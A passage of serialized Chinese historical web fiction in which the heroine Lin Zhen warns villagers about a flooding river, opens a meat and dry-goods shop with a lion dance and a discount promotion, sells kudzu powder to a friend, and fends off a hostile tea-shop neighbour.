至于家里,还有大伯一家帮着看顾一二,如此,勉强能忙过来。林真此时倒是庆幸,先前拉着沈山平入伙,这不,帮上大忙了。 才说着,沈山平便来了。 师傅师娘一同招呼后,他道:“昨儿夜里那场雨落得急,家里没事儿罢?” 沈山平没好意思直接问漏没漏雨,可他自也晓得茅草屋子不顶事儿,只得早早来林家,看看可有甚能帮忙的。 他一路过来,瞧见好几家人一大早便是愁眉苦脸的,还有边往外泼水边骂的。到了林家一瞧,院儿里还乱着,定然是糟了罪的。 可林家一家子,没一点儿烦闷样儿,沈山平心下有些惊奇。 “有事儿。”林真笑嘻嘻,掰着手指头算。 “院儿里得拿薄土压上再碾一回;仓房里头的腐竹受了潮气,得晒,若是日头不好,还要费事生火烘干;对了,仓房里也要烘一烘去去水汽儿,才得的新粮呢,可别捂坏了。桩桩件件都是事儿,沈大哥来得正好。今儿也别急着家去了,你来我家帮忙,我必会整治好饭食招待你的!” “这有甚?搭把手的事儿,不肖你费心招待,再说了,昨儿不是才吃了你家的好酒好菜麽。” 几人不过顽笑几句,便忙活开来。 林大伯来转过一回,瞧见弟弟家里有人帮忙,便放心下田去了。 他家田地多些,还要忙上好一阵儿呢。 大人忙碌,对家里的小孩儿们难免疏忽。 门口探进来一颗小脑袋,小声儿唤道:“燕儿,燕儿。” 林真探头一瞧,鑫哥儿,她一笑:“没大没小,唤姑姑。” 鑫哥儿撅着嘴,不说话。燕儿瞧着只比他大一丁点儿,唤姑姑多没面子啊。 “行了,去玩儿吧。”林真逗了逗小孩儿,心情大好。 “哼!大姑姑坏!”鑫哥儿做了个鬼脸,扯着燕儿就要往外跑,“咱去抓河蟹来炒了吃,不分给大姑姑!” 林真将才还笑呵呵,此时听了,一把将倆小萝卜头薅回来。 “作甚?想下河摸魚捉虾去?不成!昨日雨那样大,河水定然要涨,河边上的泥土也会松,都不许去!” “大姑姑,就得落雨后才好摸魚呢!这叫涨水鱼!”鑫哥儿挣扎。 “我看你就挺像鱼的!”这小子力气夠大的,差点儿按不住,林真换策略,“听话,姑姑带你去縣里,给你买糖人。” “真的!”鑫哥儿眼睛放光,不挣扎了,嘴也甜了,“大姑姑,你真好。” “呵!”林真拍拍他,“只要你乖乖听话别乱跑,我就带你去。” 鑫哥儿小鸡啄米似的点头:“听话,我肯定听话。” 还用手一指燕儿:“燕儿也听话。” “哼,你燕儿姑姑可比你听话。要不是有她,我还不定会带着你个小滑头呢!” 燕儿随着林真去摆过摊子,人懂事又机敏,不然,林真也不敢一个人带俩孩子去县城。 赶着驴车去县里送货时,瞧见外头疯跑的小孩儿,林真眉头一皱,略想一想,还是去了族长家。 “昨日雨急,今儿河水暴涨,山溪再冲下来,定然又急又快。正值秋收,族里这些小子没人看着,愈发疯顽,定然会去河里摸鱼捉虾的。有文叔在族里说得上话,给大伙儿提个醒,看好自家孩子,可别教河水卷了去。” “成,我这就去。”林有文才要去地里,听了林真的话,也不敷衍,一口应下。 林真去送货,又还去铺子里转了一圈儿。 等她赶着驴车家来时,半道儿上遇着了一驴车,急慌慌的,她赶紧避到一边儿去,把路让出来。 才到村口,便有族人与她打招呼。 “真姐儿,你半道上可遇着春花家的小子了?她家孙儿下河摸鱼,教河水卷了去,幸而边上还有俩大人在,这才将人捞回来。可那小儿呛了水,瞧着不大好,还是咱家族长借了驴车,教赶紧送去县里瞧大夫哩!” 那族人又瞧了一眼吃个糖人糊了满脸的鑫哥儿,很有些羡慕,真姐儿够大方的。 “我倒是没瞧清楚,唉,只盼着别出事儿才好。婶子也将家里的小儿看牢些。”林真停下来,与人攀谈。 “嘿!幸而你警醒,咱族长又是这个!”族人比着大拇指赞,很有些自得,“族长不怕耽搁自家田里的事儿,唤了人挨家挨户的提醒,这才将族里的小子都拘了来,咱老林家可没出事儿!” 哟!有文叔可真够意思的,林真笑眯眯。 晚间,她大嫂刘桂香来了—— 作者有话说:1 豆粥在宋朝真的很火,苏轼大大有《豆粥》诗 《山家清供》里也有记录 蠢作者看的时候,就很想在秋天里来上一碗[垂耳兔头] 第48章 刘桂香是来道谢的。 她挎着一只篮子, 里头是十来个鸡子和两方手帕,瞧着十分诚恳。 “真姐儿,先前是我小气, 行事不妥当,嫂子在这儿与你赔不是了。我手里也没甚好东西,只有这两方帕子还算拿得出手,你莫要嫌弃。” 刘桂香今儿照旧在田里幹活儿, 忽然听得一阵哭鬧, 直起身子来打听。却听得村人说春花婶家的小孙儿, 下河摸鱼教水卷了去,人虽捞回来了,可瞧着却不大好。 春花婶家最小的孙子,不是常与鑫哥儿一块儿作耍麽?那孩子她还记得叫鐵蛋儿来着。那她的鑫哥儿呢?今儿一早就跑没影儿了! 鐵蛋教水卷了, 那她的鑫哥儿呢?也教水卷了! 刘桂香站在田里,只觉着一阵天旋地转, 她死死掐了一把自己的大腿, 颤着声儿问:“大青!你快去打听打听, 咱家的鑫哥儿呢!鑫哥儿一向与铁蛋要好,每日都混在一处作耍的!” 林茂青被她吓了一跳, 一把子抓住刘桂香, 一边往她嘴里灌凉茶, 一边在她耳边大声道。 “回神!今儿真姐儿不是特意来家里说了嘛?她领着鑫哥儿进城去了!” “是, 是麽?真姐儿帶着鑫哥儿进城去了?”刘桂香恍惚着。 对了,今儿真姐儿是驾着驴车来了家里, 只她不想与真姐儿照面,自个儿往前走了。 “大青,扶你媳妇儿去田埂上坐一会儿子。你再去打听打听, 瞧瞧你春花婶家可有甚需要帮忙的,你也搭把手。”李金梅瞧着大儿媳那副模样,倒是不好再多说,索性叫她一边儿歇着去。 刘桂香唇角嗫嚅,到底没说甚,自去田埂上坐着回神。 她要是在这当口上倒下,别说她没病了,即便是真病得起不来,难免会被人背地里议论几句:怕是想着法子来躲懒! 待林真赶着驴车帶着鑫哥儿家来时,她心里的石头才落下来。 瞧着没心没肺教糖人糊了脸的鑫哥儿,一把抱在怀里,想打舍不得,想骂几句吧?可儿子将捏了一路,黏糊糊的松子糖湊到她嘴边,脸上笑嘻嘻的,她眼眶一熱。 那股子哽在心里的左性儿便散了,真姐儿比她小恁多,行事这样大方,她到底是在置得甚气? “真姐儿,从前是我牛心左性,办了许多糊涂事儿。现晓得错了,你骂我几句出出气,打几下也成,往后,咱便不说往事了。”刘桂香道。 “大嫂这话说得,您从前也没幹甚呀。”林真眨眨眼,接过刘桂香手中的篮子,“嘿,倒是教我讨着巧,白得了几个鸡子吃。” “你若是喜欢,我还给你送!家里倒是还有些鴨子,可那玩意儿腥味儿重,不放重油不好吃,没好意思拿出来送你。这样,你且等些日子,我腌咸鴨子还算成,秋日里腌制正正好,等我腌好了,拿来与你佐粥吃!” 刘桂香很是大方,她养了一群麻鴨和芦花鸡,秋日里鸡鸭勤快,每日都能拾得几个鸡子鸭子的,她送出去也不心疼。 就这样,林真白得了鸡子吃,连半月后的咸鸭子都预先定下来。 林家两房之间的小隔阂尽数消散,两家亲密更甚从前。 落水的铁蛋因着救治及时,在家里躺了几天喝了几天药,又生龙活虎地在村儿里招猫逗狗,只一样,再不敢下水去了。 村儿里其他人家的小子们也被看得紧,落水之事算是告一段落。 但此事带来的影响却不小。 因着族长提醒众人时不忘捎带林真,村里众人对林家多是感激。 林家修缮屋子,请来相帮的族人格外賣力气不说,村人若是谁家有空,溜达着过来搭把手的人大有人在。 林家的院子,是一天一个样。 再有林家众人行事大方,次次都多客气的招待茶水,还会送一二方老豆腐。 人人都赞,屠户家的人缘和名声倒是与从前大为不同。 为啥有豆腐相送呢? 林真可不是傻大方,铺子开张在即,为着打响名声,开業大酬宾是少不了的。 新铺开张,活动多销量高,她可得多备些貨。 可兴福坊的摊子赁期已至,家里现不去支摊子,林茂安因着农忙也没去当貨郎,挑过腐竹的豆腐便剩下许多。 留足了制豆幹的量,剩下的哪有时间与精力去售賣?白白放坏了,不若送与相帮的族人换个好名声,她一点儿不亏。 == 九月初八,宜开市。 长兴坊当头上那家空了月余的铺子开张了。 牌匾还教紅布给挡着,可鲜艳的布招幌却是亮了出来。 靠着主街的那头立了长杆,竖挂的旗帜当中是一个大大的’肉‘字儿,湊近了看,底下还绣着一排鸡鸭、兔儿的样子。 莫不是一间专门售卖各色肉货的铺子?众人才要湊近细看,便听得好一阵锣鼓声儿。 原是耍獅队来了,还是双獅献瑞! 光是鼓乐手便有七人,大鼓、锣、钹,敲得起劲儿,好一阵儿锣鼓喧天的熱鬧劲儿。 引獅郎逗着双獅争夺香球,双狮你争我夺,追逐嬉戏,瞧着甚是灵动。 忽而,鼓声急转,那头紅金色的狮子昂首直立,引燃了挂在门头上的一挂鞭炮。 噼里啪啦—— 鞭炮声混合着鼓乐声,两头狮子动作愈发灵动,扑、跌、翻、滚、跳跃……又有引狮郎配合着表演前翻狮、后翻上高桌等颇为惊险的动作。 人群中的喝彩声愈来愈盛,最终,双狮并上高台,口吐红色卷轴,上书:宝肆宏开,财源不竭! “好!” 围观的人群连连叫好,长兴坊临着主街本就热闹,这一通排场下来,凑热闹的人群更是将铺子前围了个水泄不通。 唱词人一把清亮的好嗓子唱道:“吉时已至,请掌柜的揭牌子嘞!” 林真自个儿都看呆了,此时被这一嗓子喊过神来,一抬手,揭开牌匾上蒙着的红布。 林家豬肉幹雜铺,正式开张。 “林家百什铺子今日开张,惠顾让利!诸位走过路过都来瞧瞧嘞!” “腐竹豆干蒟蒻豆腐,豬肉兔儿鸡鸭鱼,不怕您不买,就怕您不进门。开店三日,滿二十減二,都来瞧瞧嘞!” 林真与贺景,适时将红纸黑字儿的文字幌贴于门柱前,上头不似其余店家密密麻麻地写了店内的物什,只有几个大字:开業酬宾,滿二十減二,购买即送豆干。 当然,购买送豆干那一行,下面还有一行小些的字:数量有限,送完即止。 前世商家搞活动的不良风气,林真一并学来了。 此时舞狮的雜耍队已经散去,人群本来有要散开的趋势,可教这么一吆喝,便渐渐又聚回来。还有人好奇’满二十减二‘是甚意思,一脚便踏进门来。 林真忙不过来,她这会儿子正陪着前来捧场的掌柜熟人说话,贺景便引着客人往里走。 今儿这舞狮队,自然不是林真自个儿找来的,是林掌柜送的。 林掌柜也很给面子,不单送了这样一出好热闹,自个儿还亲自来了,供着手祝林真开业大吉。虽略说了几句话便走了,可他亲至,已然是给足了面子,走时又还留下林福帮衬一二。 老巡栏和许经纪倒是没硬凑上来,等林掌柜走后,才上前与林真攀谈,又借着机会与林福说话;再有朱掌柜、马娘子也来相贺。 朱掌柜还专专凑到贴纸前细看,越瞧越觉着林家这小娘子,当真是极擅陶朱之道。 在铺子里采买,满二十个錢便实实在在减去两个子儿,实打实的省錢,瞧着可比送些东西大方许多。 送的东西客人且还要挑拣,铜子儿可是再不会有人嫌弃的。 且这定价二十也是巧妙,这干杂铺子各类肉占去一半儿,这里头猪肉价最贱,可即便是最便宜的瘦肉条子也得十八个钱,为着凑够二十省下那两个子儿,少不得再挑拣一方豆干或蒟蒻豆腐一起买。 如此,一样带一样,铺子里的东西是再不愁卖的了! 高,实在是高啊! 朱掌柜门外转一圈儿,门内转一圈儿,越转悠是越羡慕。 瞧瞧,当街的墙上开了窗,那头打了货架摆腐竹葛粉之类的干杂货物;坊内的这头置了长桌摆生肉,用拐角和货架将生肉和干杂分隔开来,断不会教这头的生肉腥味儿熏着了那头。 且这林娘子心思灵巧,铺内陈设也有巧思,土陶罐子里搁野花野草,又有竹帘错落,瞧着还怪是别致的。 嘶!那敞口瓶子里搁芦花,还怪好看的。 满心的艳羡化作一声长叹:“林老弟,你可真是得了一个好女儿。” 林屠户百忙之中还要抽空应酬:“呵呵呵,这话说得,老哥家的小子女郎可都是顶好的。” 这朱三哥今日好生奇怪,那些个来贺喜的友人,凑个热闹买上个把东西便走了。就他,转悠了大半天了,啥也不买,反拉着他说怪话。 他家里头发迹早,家大业大人丁兴旺,偏说得多羡慕他似的。 林屠户挺愁,要是在平日里,他也不介意跟人商业互吹,可今日,他忙着咧! 再没闲工夫应酬人。 “哎呦,对不住,您要的一斤猪五花我多割了一两,是我下刀不稳,便算作一斤!” 瞧瞧,教他分心,割肉都没个准头了! “哎,别,就算一斤一两,再捡上两根剔了肉的扇子骨,拿上两方豆干,这可就凑足四十文了,你得少算我四个钱,诺,三十六个子儿,一个不少!” 一两肉才两个子儿,这满四十文可是能省下四个钱的,哪个划算,她自会算的—— 作者有话说:唐宋以前,鸭蛋鸡蛋多称呼:鸡子(卵)、鸭子(卵) 本文用鸡子鸭子,都指代鸡蛋鸭蛋嗷 百什铺——杂货铺的雅称 ^-^ 第49章 林家豬肉幹杂鋪, 属实是今儿长兴坊最热闹的鋪子了。 双狮献瑞的排場先不说了,搞出来的那甚’满二十减二‘的法子,属实新奇, 引着不少娘子妇人往那头去买货。 且因着鋪子雖不卖羊肉,可雞鸭鱼兔子都有,兔子先不说。还有几只花羽雞,瞧着就是山里打来的。 农户散养的家雞常见, 这山里的花羽鸡可不常见。 花羽鸡雖不肥, 可肉质劲道, 越嚼越香,连骨头都透着香。这类属山珍了,只有专门的山珍鋪子才会有,这林家豬肉幹杂铺倒是好运道, 不曉得从何处得来几只花羽鸡来卖。 一时间,还算宽敞的铺面倒是挤得慌, 可人就是这样, 越是热闹的铺子越是要进去瞧瞧。 买不买的另说, 凑凑热闹麽。 铺子里的東西俱是好货,又收拾得多幹淨, 一时之间, 进门的客人, 待出门时, 手上十有八九得提上点東西。 一客接一客,就没停下来过。 好在今儿林家是全家出动, 再加上一个沈山平,足有六人。 六人里头,只有苗娘子和沈山平二人是头一遭做生意, 连燕儿都多是熟练地与客人交谈。 慢慢儿的,苗娘子有样学样,也能待客;沈山平呢,只动手不说话,上手还更快些。 今儿的客人早早便算好了自个儿要啥,只用指哪儿切哪儿便是。他手上功夫不差,这倒是难不倒他。 一直忙碌了大半日,众人连饭点儿都错过了,铺子里才渐渐消停下来。 众人是又累又渴又饿,小腿肚子直打轉儿,也不曉得是饿的还是站累的。 “原先瞧着铺子里的掌櫃只觉得体面,可自个儿上手了才曉得,围着一间铺子打轉,还要待客,这活儿也不轻松哩。”苗娘子用帕子拭汗,又将燕儿捞过来擦汗。 她心里多歡喜,燕儿从前见着生人只会往她身后躲,今儿居然大大方方待客。那模样,可熟练得很,瞧着既伶俐又能干。 林真笑笑:“今儿大家都辛苦了,我且先去买些吃的垫垫肚子,等忙过这一阵子,咱再好生吃一顿。” 賀景拉了她:“你歇着罢,我去买。斜对面儿那家汤餅铺子,先前来打扫屋子时你吃着不错,咱今日还吃那家罢。” “成,是得吃些带汤水的,这时候要叫我啃餅子我是不成的。”林真点点头又叮嘱道,“再捡三笼馒头来,甜的要俩,其余的都捡肉的,再教汤饼铺的店家送些面汤。” 家里这俩饭量不小,沈山平也能吃,单单一碗汤饼可吃不饱。 此时人少,众人便挤在铺子里吃迟来的晌午饭。 林真先喝面汤,缓了缓才道:“爹,您一会儿便与苗娘子燕儿一道家去罢,大伯家里也忙,可不好多耽搁。” “成!有你们三人留下,应当是能支应开来。”林屠户点头。 “真姐儿,我瞧着豆干、蒟蒻豆腐剩的都不多了,要不我家去再制一些给送来?”苗娘子问道。 “这倒不用,原就是上午出门采买的人多,上半天儿生意自然好。下半晌便是那杂耍作乐的地儿热闹,咱们这样的铺子里,人便要少上许多。留下的那些,用来撑場子,是尽够了的。” 林真这些日子在县里支攤子,除却卖腐竹啥的,可没少打听这头的生活习惯。市场调研不是白做的,此时说来,自然头头是道。 一家子便都信服她,听着她安排家去了。 “成,我家去先烧水,等你们家来,还得将家里的那头猪宰了。”林屠户道。 “是,爹安排得很是周到。咱们铺子才开张,前几日怎么着也得日日有鲜肉,除却兔子山鸡这样的尖儿货,其它的货必得备足了。不然,今日有货明日没货的,白跑的人多了,生意如何做得稳当?” 林真先是赞道,轉而又细细解释,主要是说给沈山平听。 合夥做生意,雖说沈山平说了一切她做主,可也不能真独断专行,该说的话得说个清楚。 “作甚?”沈山平一脸疑惑。 林真:…… “哇,阿姐好生厉害。” 瞧瞧,燕儿都比他懂事! 林真转过头,不看沈山平,对她爹道:“爹,你先将匣子里的钱搬些回去,我往里头放铜子儿的时候,瞧着可快满了。恁多钱,瞧着喜人,可放在此处却教人不安生。对了,两只匣子的钱记得分开放置。” 卖肉的攤子沈山平是一并入夥的,不单单只入了猪肉的夥。林真干脆买了两只匣子,一头放一只,免得出差错。 林屠户几人先行家去,汤饼铺子的小伙计来收碗。 林真笑着道谢,还摸了两个铜子儿与他。 那小伙计多歡喜地接过去,先是奉承了几句林家铺子生意好,掌櫃的大方,后而话锋一转。 “您边儿上茶铺子的掌柜可不是个好相与的,今儿林大掌櫃在,他是收敛了,可迟早啊,得找您麻烦哩。” 林真笑眯眯:“我自晓得这生肉摊子挨着茶叶铺子不好,是以,在外头搭棚子的时候便退了几尺,又用竹帘子将那面全挡住了。若是如此还不能教茶掌柜满意,我也是无法,可谁也没说,这铺子里头不能卖有味儿的物什啊。” “嗨,我就这么一说,给您提个醒儿。”小伙计赶忙道。 林真脸上的笑容没变:“我自是晓得小哥是好心,我也是讲道理不是。” 小伙计打着哈哈,捧着碗,赶忙走了。 == “怎的了?这隔壁的掌櫃要找麻烦?”沈山平这会儿听懂了,虎目一瞪,很有些凶悍气。 “确实是难缠了些,可也不是甚大事儿。沈大哥,你去小隔间那头搬个杌子坐着,别干站着,小心像我爹似的得腰痛病。”林真很满意,决定放沈山平守门。 他这样子倒与肉摊子相配,再教賀景往外挪一挪,也不怕客人被吓走。 这铺子位置这样好,一月的赁钱却这样便宜,起租时间还这样短,便是有再多借口和巧合,林真也是不信的。 可它位置实在是好,林真思量过后,还是决定先吃下这口肉。 其余的,见招拆招便是。 后头许经纪许是得了甚消息,过来卖好。 这下子是再没有丁点儿隐瞒,将这铺子里头的弯弯绕绕一股脑全说了。 原先,这铺子主家背后是制油起家的,铺子里自然是卖油的。 近来虽说有些亏损,可头一批出手的铺子里头,便混了一间这样好位置的铺面,全因挨着的茶叶铺子,那掌柜的,可不是个好说话的。 能卖茶叶,背后多多少少有几分仪仗。先前油坊势大时两方自是相安无事,可油坊没落,茶掌柜就不依了,嫌这嫌那。 一会儿说地上油污打滑;一会儿说生油气息污了他家的茶叶香,客人都不过来了…… 总之,难缠得很。 主家本就不顺,自然不堪其扰,便起了心思将铺子出手。 许经纪缓缓道来,一番话将自个儿摘得多干淨,只说自个儿先前没打听到。 林真自然不信,可也不觉着此事算难,还笑着宽慰许经纪。此人消息灵通且颇会审时度势,与之维持着面子情,利大于弊。 果然,许经纪见此,斟酌着又说了些茶铺老板的私事。 末了,还暗示道:“林娘子与林大掌柜交好,在这慈溪县,谁都要给林大掌柜几分面子,您自是不惧他的。” 林真没扯虎皮,反而装高深:“嗨,些许小事儿,很不必打扰林大掌柜。” 她面上,那是三分风轻三分云淡,还有四分轻蔑。 把个许经纪唬得,一愣一愣的。 林真估摸着,这人家去得琢磨好几日,说不得,还要拉上老巡栏一道琢磨。 她面上忍住,心里笑得欢:该!你个无良中介! 此时,林真琢磨着,林大掌柜送了好一场热闹,要不趁此机会,将此事一并解决了? “林掌柜,生意兴隆啊!” 这一声称呼,林真差点儿没反应过来,抬头一瞧,乐了。 王柘使唤人抬着一招财摆件来了。 “林掌故可别怪我来迟了,实在是你这铺子生意忒好。我今儿出门略晚些,好家伙,被堵在外头动弹不得。这招财的摆件可要仔细,磕了碰了的可不成。我只得家去了,此时才来贺你,莫怪莫怪。”王柘拱手作怪。 “王氏布行的少東家大驾光临,实在令小店蓬荜生辉,哪里能怪呢?您里头請!”!林真也作怪。 “噫,怪渗人的,咱还是好好说话罢。”王柘先扛不住了。 “你也晓得啊,你那一声’林掌柜‘,哼!吓人咧。” “嘿嘿。” 倆人原就有几分交情,王柘自从上次在林真面前痛骂那熝鹅店家后,不仅一步都不往那头踏,还日日都往林家的摊子上来。 一来二去,倆人颇觉投缘,此时,算是处成半个友人。 王柘指挥着人将摆件放在柜台上,自个儿揣着手四处看。 “你这铺子拾掇得还真不赖,有甚好货?都拿出来我瞧瞧,咱先说好,那蒟蒻豆腐我吃过了,不能作数。” 林真从货架上取下一包葛粉打开:“喏,瞧瞧。” 王柘凑近一看,惊讶道:“咦?似乎比寻常的葛粉白淨些许。” “那是自然,深山里挖来的好葛,又不怕麻烦,洗了六七次,才得了这样好的葛粉呢。” 林真面不改色心不跳,糊弄人的话是张口就来。 这其实是后头贺景四人背下来的葛根制的,家里都是勤快人,早早便将其磨碎并混了贯众水。 后头晓得不能自卖那样白净的葛粉后,都没二次洗粉,直接晒干了拿出来,瞧着还是比市面上寻常的葛粉要白净些。 这样倒是正好,能拿来压压场子,又不会太过打眼。 “用滚水兑盏子葛粉羹,里头搁些岩蜜,再加些核桃仁杏仁碎的,秋日吃一盏子,舒坦着呢!”林真继续道,“也就是你,换作旁人,我可不会这样说。” 林真还是决定修补一下两人脆弱的友情。 “说起吃来,林娘子才是行家哩!”王柘点头,转而压低声音神秘兮兮道,“晓得你这是从林大掌柜那头得来的好东西。你还有多少?我家里过几日要請客,那客人挑剔得很,席上的酒都是打洞庭那头弄来的黄柑酒,你想想,酒都要色香俱全的洞庭春。色,解酒汤自然也不能差了。可寻常解酒的葛花汤,加了枳椇子,不止瞧着不好看,味儿也不大好闻,那客人定是要挑剔的。若是换成你说的葛粉羹,玉盏盛来琥珀色,便是再挑剔的人,怕也挑不出错来。” 况且,这可是上用的好东西呢! 这话不能明说,可慈溪这头,消息灵通些的都晓得了:林家那位女当家,弄出来净如霜雪的葛粉,快马加鞭已贡往京都。 算算时间,这会子怕是已进了市买司的门了。 林大掌柜是林东家跟前第一人,如此忙碌,今儿还特特来给林真撑场面。王柘断定,林真这头的葛粉必是出自林大掌柜那头。 此时,这人正一脸感动:“我晓得这东西不易得,只家里这回请的客人实在要紧,你匀一匀,卖我一两斤的,好教家里将这回的宴席弄得圆满些。” “一两斤?”林真一脸为难,“这差不多是我全部的存货了,若是尽数卖与你……” 林真装得很像,可实际上,家里这种程度的葛粉足有四十来斤! 家里人太勤快了,她也是无法,只能硬着头皮又去找林掌柜,问问这样的葛粉能不能自卖? 林掌柜看过,点头说可以卖,但得慢慢儿卖。 林真还有甚不明白的?人家大方仗义,她可不能坏了情分。 她瞧了王柘一眼,对不住了,只能委屈你了。 …… 王柘好说歹说,在铺子里磨蹭了半天,才教林真松口卖他一斤半。 他仔细想了想家中宴请的规模,又仔细算过一回,方才勉强点头,摸出一两银子并两吊钱来结账。 葛粉到手,王柘先唤人将买得的葛粉好生送回家去。 那小心翼翼的模样,林真低了头,装作没看见。只要她看不见,她的良心就不会痛。 王柘自个儿没走,又留在店里缠着林真。 “真还差些,请客吃饭,哪能将东西备得那样小气?你至少再匀我三两,教我能多备十盏罢?若是人吃了一盏子还想吃,我找不出第二盏来,岂不是显得我王家请客既不诚心,又小气!” 林真先前瞧王柘那仔细劲儿,心里已然有些心虚,又还收了人家恁多钱…… “成,你且等等,我想想法子,再匀一些与你。” 王柘得了准话,便多欢喜的告辞。 等人走后林真着实松了一口气,她盯着剩余的葛粉瞧,心中有些可惜:这东西虽麻烦了些,可实在是赚钱。 此时熟药局里头的葛粉是一钱五文,林真手头的葛粉比之白净些,且她又不在药局售卖,要价便是一钱八文。 如此,一两便是八十文,一斤便是八百文。 一斤葛粉,堪比一石大豆。 才将算出来的时候,林真还有些心虚。 可此时瞧着王柘眼都不眨便付钱的模样,她便知道,这玩意儿,在他们眼中,应当算不得贵。慈溪县,有钱人可真是多啊。 虽有些可惜不能大规模售卖,可转念一想,物以稀为贵,多了便不值钱了。 像现在这样就很好,一月卖一二斤的,一年取一次粉便够了。贺景也不用老往深山里跑。 总之,用葛粉赚钱的法子,虽与她先前所想有些出入,可这赚钱的目标,是超额达成了—— 作者有话说:洞庭春色,黄柑酒的雅称 蠢作者从范成大《吴郡志》里看来的,第一回 看见的时候就觉得很美很有意境 终于用上了[墨镜] 另外,默默翻评论的时候,发现有宝宝叫作者日6 日6太要命了 试试日4吧[可怜][可怜][可怜] 第50章 算着时间, 几人将外头摊子上的物什都收拾回来。 林真已烧好了水,预备着将肉摊子上的长桌悬肉格啥的都冲洗幹淨。 本就是卖生肉的鋪子,若是再不收拾得勤快些, 污糟糟的再惹来蚊蝇,便会教人不乐意踏进来。如此,自然得勤快些,幹淨整洁是再不会出错的。 他们鋪子宽敞, 便隔了一个小隔间出来。 里头防了泥炉子和銅茶吊子, 这一套置办下来不算便宜, 可有了这小泥炉和銅茶吊子,至少自家能烧壶热茶汤来吃,不必求人。 “哟!预备着家去啊?”隔壁茶掌柜踱着步子揣着手过来,也不待人搭话, 似笑非笑道,“确实得关门了, 你们住乡下, 不算着时辰赶回去, 城门下钥后,还得花錢找地儿住, 那多不划算。” 关门?乡下?这恶心人的劲儿是一点不掩饰了。 林真冷哼一声不惯着他, 呛回去:“茶掌柜, 我这鋪子才开張, 哪有将’关门‘二字挂嘴上的?您是老掌柜了,怎如此不讲究?不曉得的, 还以为您是来找茬儿的,故意咒我林家鋪子关门大吉呢!” 贺景与沈山平都撂下手里的东西,直直盯着茶掌柜瞧。 啧, 这女娃,嘴皮子利索不说,怎一点儿没有女娃的温婉,如此直言呛人? 茶掌柜扯出一丝笑:“哎呦呦,是老朽一时没注意,林小娘子可别多心啊。咱和气生财,和气生财。” 林真只笑笑并不接话,眾人埋头收拾东西,无人搭理这显然是来寻不痛快的茶掌柜。 可人多自在,围着门口轉悠,也不进去,嘴里倒是絮絮叨叨:“哟,还用了皂角粉啊?是该多用点儿,生肉味儿大,血糊糊的还有油,可得弄幹淨些。” 像只苍蝇,围着你左轉一圈儿右轉一圈儿,你还因为某些原因不好一巴掌拍死它。 着实惹人心烦。 沈山平双手攥成拳头,显然是快要忍不住了。 林真眼珠子一转,笑眯眯道:“是得弄幹净些,今儿来得客人多,整头豬和雞鸭兔儿那些都卖光了。光忙着招呼客人去了,都没来得及好好收拾。” “甚?卖光了?”茶掌柜惊得声儿都变了,嘴角耷拉下来,那丝装出来的笑意也没了。 哼!就知道你要破防。 今儿从她家铺子前头路过多少回了?回回都抻着脖子往里望,偏还要装出一副不在意的模样。 茶掌柜悄悄垫脚,伸长了脖子往长桌后头瞧,他忽而一笑,像是抓住了甚把柄似的。 “林小娘子说大话了吧?你那竹筐里不是还剩了整个儿的豬头和棒子骨麽?我曉得,这些东西是不好卖,且还占着大头,你便是要逞强也将东西藏藏好……” “啊?那是要送去朱掌柜那头的,他早早便定下了,只他懒得动弹。我们回去倒是顺路,正要送去给他呢!” 豬头自来是不好卖的,骨头多肉少不说,还特难收拾。除了祭祀或者专专好这口的人会買,其余时候确实难卖。 先前林真给朱掌柜推销过熝豬头肉,朱掌柜没采纳,林真也没强求,想着拿回去给她爹下酒也是好的。 这回,亲眼瞧着林家铺子如此红火,朱掌柜心中对林真倒是多添了几分敬佩,瞧见铺子上摆出来的猪头,心中一动,便想试试。 左右一个猪头也不贵,店里这锅子鹵水也到了该换的时候。用这锅子鹵水来鹵猪头,便是坏了也不心疼。 若是成了,那又能给店里添一道下酒菜,值得一试! 茶掌柜这下是真破防了,他盯了林真一眼,眼神阴沉沉的,转身便走。 “啧,这老谵叟终于走了,话恁多,忒过烦人了些!”沈山平头一个出声。 “别理他了,这一日,你瞧他那铺子里头进出过几人?他是眼红呢!铺子锁好咱早些家去,數錢!” 有铺子就是好,东西一放,门一锁,人便是一身轻松…… 轻松不起来,还得去给朱掌柜送东西,还有另一样甜蜜的烦恼,錢匣子。 幸而沈山平家新添了驴车,就托管在县里的牲口行内。一日给八文錢,有个棚子遮风挡雨不说,清水管够,还能得一顿草料吃。 这是沈獵户给沈山平添置的,说是寻常收猪拉货啥的,要方便些。 瞧瞧,人多会来事儿。 林家的三头牲口,要拉磨要拉货,若平日里四处收猪也指望着林屠户家的牲口,那定然是不成的。 虽说小骡已成年,可前阵子天气凉快,他爹动手骟了。小骡挨了一刀子,需得好生养两天。 沈獵户算着日子,提前将驴车拿下,及时替换了小骡。 家里那时正是取葛粉的时候,林真很承沈獵户这份儿情。 虽说现在不肖取葛粉了,可多了一头驴车也确实方便,走哪儿都能去,人也能分开做事,效率提升了不是一星半点。 且瞧着今日铺子里这势头,明日应当还是要使两辆驴车来拉货。 三人一道回枣儿村,有驴车,不过一炷香的时间便到了村口。 到了家,且还来不及吃饭,又将圈里那头收来的猪给压出来宰杀拆分了。 好一通忙活,等众人擦洗一番吃饭时,得点着油灯才成。 吃了饭,眾人都觉着累。 可当林真使唤贺景抱着钱匣子来时,眼睛都亮了。 “来来来,咱數钱,这头是卖干杂收得的,那只卖肉的匣子您和沈大哥自个儿数。” 林真一边说着,一边将铜子儿都倒出来。 哗啦啦金属碰撞的声音,是金钱悦耳的声儿,小山似的铜子儿,在烛光下浅浅晕出一圈儿光来。 林真觉得,她的眼睛应当也在放光。 …… 一番清点后,卖腐竹干杂的匣子里,是一千七百多个铜子;卖肉的匣子更多,足有三千四百来个铜子。 也就是说,今儿一日,铺子进賬五贯多钱,若是再添上王柘给的一贯多,便有六贯多钱。 这个数字算出来的时候,饶是林真心里早有猜测,也呆愣了一瞬。 更别说其他人了,全都是一副呆愣愣的模样。 “回神!”林真拍拍手,照例先夸,“咱们今日入賬着实不错,铺子也没出甚大差错,这是所有人的功劳,咱先记下,待忙过这段时日再庆祝。” 继而话风一转:“咱今日这入账,瞧着多,可不会日日都有的。” 一来,今儿铺子头日开張,林掌柜弄得热闹,引来的人这才多些;二来,王柘那头的一贯多钱不能算作日常收入,这是特例;三来,头次的兔子山雞沈猎户是送的,以后必然得花钱買,得算成本,像今日的猪和鸡鸭都是買来的,成本便有一贯多。 “这些子开销除去,咱铺子往后能净賺……”林真瞧着账本,“两贯钱!?” 咦,还是这样多? 林真原是想压一压那股子快要沸腾的喜悦,可粗粗算来,这钱,可真是有賺头。 